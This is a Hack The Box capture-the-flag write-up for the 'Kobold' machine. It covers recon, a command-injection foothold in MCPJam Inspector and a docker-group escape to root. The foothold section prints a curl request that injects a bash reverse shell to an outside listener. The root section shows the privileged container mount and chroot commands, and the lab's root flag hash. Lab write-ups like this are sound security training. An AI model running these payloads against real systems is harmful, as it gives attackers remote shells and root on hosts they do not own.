Skip to main content
HTB: Kobold
  1. Posts/

HTB: Kobold

Table of Contents

Introduction
#

The “Kobold” machine hosted three web services: MCPJam Inspector, PrivateBin, and Arcane Docker Management. An unauthenticated command injection in MCPJam Inspector (CVE-2026-23744) provided initial access as user ben. A separate command injection in Arcane’s updater service (CVE-2026-23520) was identified but not required for the final path. On the host, ben had docker group membership accessible via newgrp, granting access to the Docker daemon socket. By running a privileged container with the host filesystem mounted and using chroot to pivot into it, full root access to the host was achieved.

nmap
#

nmap finds four open TCP ports, SSH (22), HTTP/S (80, 443) and HTTP (3552):

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.9.1
  • -sC for defaults scripts
  • -sV enumerate version
  • -vv double verbose
  • -oA output in all formats
PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_  256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp   open  http      nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
443/tcp  open  ssl/http  nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-title: Did not follow redirect to https://kobold.htb/
| tls-alpn: 
|   http/1.1
|   http/1.0
|_  http/0.9
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after:  2125-02-19T15:08:55
3552/tcp open  taserver?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, no-store, must-revalidate
|     Content-Length: 2081
|     Content-Type: text/html; charset=utf-8
|     Expires: 0
|     Pragma: no-cache
|     Date: Thu, 26 Mar 2026 07:29:07 GMT
|     <!doctype html>
|     <html lang="%lang%">
|     <head>
|     <meta charset="utf-8" />
|     <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
|     <meta http-equiv="Pragma" content="no-cache" />
|     <meta http-equiv="Expires" content="0" />
|     <link rel="icon" href="/api/app-images/favicon" />
|     <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" />
|     <link rel="manifest" href="/app.webmanifest" />
|     <meta name="theme-color" content="oklch(1 0 0)" media="(prefers-color-scheme: light)" />
|     <meta name="theme-color" content="oklch(0.141 0.005 285.823)" media="(prefers-color-scheme: dark)" />
|_    <link rel="modu
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Found kobold.htb - add it to /etc/hosts

Web - TCP 80
#

Nothing here, only a contact email at the bottom: admin@kobold.htb

Web

VHOST
#

Vhost enumeration turns up 2 interesting subdomains:

└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u https://kobold.htb/ -H 'Host: FUZZ.kobold.htb' -fs 154

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://kobold.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Header           : Host: FUZZ.kobold.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

bin                     [Status: 200, Size: 24402, Words: 1218, Lines: 386, Duration: 45ms]
mcp                     [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 45ms]
MCP                     [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 34ms]
:: Progress: [220561/220561] :: Job [1/1] :: 552 req/sec :: Duration: [0:03:58] :: Errors: 0 ::

Service enumeration
#

PrivateBin (bin.kobold.htb)
#

PrivateBin 2.0.2 an open-source paste bin.

PrivateBin

MCPJam Inspector (mcp.kobold.htb)
#

MCPJam Inspector is a web-based tool for testing Model Context Protocol (MCP) servers. The UI presented a login page but also exposed API endpoints.

MCPJam

Key discoveries:

  • POST /api/mcp/connect accepts a serverConfig object with command and args fields
  • No authentication required on the endpoint
  • Endpoint passes the command directly to the OS

Arcane (kobold.htb:3552)
#

Arcane v1.13.0 a Docker management interface. Full OpenAPI spec available at /api/openapi.json.

Key unauthenticated endpoints:

  • GET /api/health
  • GET /api/version
  • GET /api/environments/{id}/settings/public
  • GET /api/templates/fetch?url=...
  • POST /api/environments/pair

CVEs
#

CVE-2026-23520
#

Googling around for CVEs related to PrivateBin and Arcane Docker Management leads me to CVE-2026-23520. This vulnerability affects Arcane Docker Management v1.13.0 and below.

Arcane provides modern docker management. Prior to 1.13.0, Arcane has a command injection in the updater service. Arcane’s updater service supported lifecycle labels com.getarcaneapp.arcane.lifecycle.pre-update and com.getarcaneapp.arcane.lifecycle.post-update that allowed defining a command to run before or after a container update. The label value is passed directly to /bin/sh -c without sanitization or validation. Because any authenticated user (not limited to administrators) can create projects through the API, an attacker can create a project that specifies one of these lifecycle labels with a malicious command. When an administrator later triggers a container update (either manually or via scheduled update checks), Arcane reads the lifecycle label and executes its value as a shell command inside the container. This vulnerability is fixed in 1.13.0.

CVE-2026-23744
#

There is another CVE with a helpful advisory that conveniently shows a PoC.

MCPJam inspector is the local-first development platform for MCP servers. Versions 1.4.2 and earlier are vulnerable to remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Since MCPJam inspector by default listens on 0.0.0.0 instead of 127.0.0.1, an attacker can trigger the RCE remotely via a simple HTTP request. Version 1.4.3 contains a patch.

Foothold
#

As per the PoC, just send a POST request and I should get a shell:

curl -k -X POST https://mcp.kobold.htb/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{"serverId": "shell1", "serverConfig": {"command": "bash", "args": ["-c", "bash -i >& /dev/tcp/10.10.14.176/4444 0>&1"], "env": {}}}'

and I do:

└─$ nc -lvnp 4444    
listening on [any] 4444 ...
connect to [10.10.14.176] from (UNKNOWN) [10.129.9.1] 56980
bash: cannot set terminal process group (1529): Inappropriate ioctl for device
bash: no job control in this shell
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ 

Root
#

During enumeration I notice that Docker is running. But ben (current user) is not in the docker group, so docker commands fail:

ben@kobold:~$ docker ps
docker ps
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.50/containers/json": dial unix /var/run/docker.sock: connect: permission denied

There is a way around that, I can simply switch active group to docker using newgrp, that gives me access to the Docker socket for the current session.

ben@kobold:~$ newgrp docker
newgrp docker
ben@kobold:~$ docker ps
docker ps
CONTAINER ID   IMAGE                               COMMAND                  CREATED       STATUS             PORTS                      NAMES
4c49dd7bb727   privatebin/nginx-fpm-alpine:2.0.2   "/etc/init.d/rc.local"   5 weeks ago   Up About an hour   127.0.0.1:8080->8080/tcp   bin

Now I can mount the host filesystem into a container. The PrivateBin image privatebin/nginx-fpm-alpine:2.0.2 is already downloaded on the box.

Run the container as root (-u 0) and mount the entire host filesystem to /mnt.

ben@kobold:~$ docker run --rm -it -u 0 --entrypoint sh -v /:/mnt privatebin/nginx-fpm-alpine:2.0.2
<oint sh -v /:/mnt privatebin/nginx-fpm-alpine:2.0.2

Using chroot I can pivot from the container’s view into the host filesystem mounted at /mnt, giving me a full root shell on the machine:

/var/www # chroot /mnt sh
chroot /mnt sh
# id
id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# cat /root/root.txt
cat /root/root.txt
5d147a9a0e21cca3919e9d4cdd212bb3
Author
~